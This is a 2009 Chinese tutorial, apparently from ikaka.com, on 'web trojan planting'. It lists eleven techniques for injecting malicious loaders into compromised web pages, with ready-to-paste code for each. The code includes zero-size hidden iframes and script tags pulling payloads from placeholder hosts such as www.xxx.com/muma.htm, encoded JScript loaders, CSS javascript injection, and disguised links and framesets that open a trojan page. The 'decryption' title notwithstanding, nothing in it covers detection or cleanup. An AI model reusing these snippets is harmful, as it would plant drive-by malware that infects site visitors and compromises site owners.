网马解密大讲堂——网马解密初级篇
来源:ikaka.com 时间:2009-09-16 14:45:00
一. 网页挂马的概念:
网页挂马是指:在获取网站或者网站服务器的部分或者全部权限后,在网页文件中插入一段恶意代码,这些恶意代码主要是一些包括IE等漏洞利用代码,用户访问被挂马的页面时,如果系统没有更新恶意代码中利用的漏洞补丁,则会执行恶意代码程序,进行 * 等危险操作。
二.常见的网页挂马方式:
框架挂马:
<iframe src=http://www.xxx.com/muma.htm width=0 height=0></iframe>
2. js文件挂马:
首先将以下代码:
document.write("<iframe width=0 height=0 src='地址'></iframe>");
保存为xxx.js, 则JS挂马代码为:
<script language=javascript src=xxx.js></script>
3. js变形加密
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀
4. flash木马
http://网页木马地址 插入木马地址 width=10 height=10", "GET" 宽度和高度,方式后面的照添,更改木马地址就可以了。
5. 不点出现链接的木马
<a href="http://www.163.com(迷惑的超级连接地址,显示这个地址指向木马地址)" > 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="你的木马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,
menubar=no,scrollbars=no,resizable=no,
copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
6.隐蔽挂马:
top.document.body.innerHTML=top.document.body.innerHTML+'\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>'
7.css中挂马:
body {background-image:url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}
8.Java挂马:
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
9.图片伪装:
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>
10. 伪装调用:
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
11.高级欺骗:
<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" > 页面要显示的内容</a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>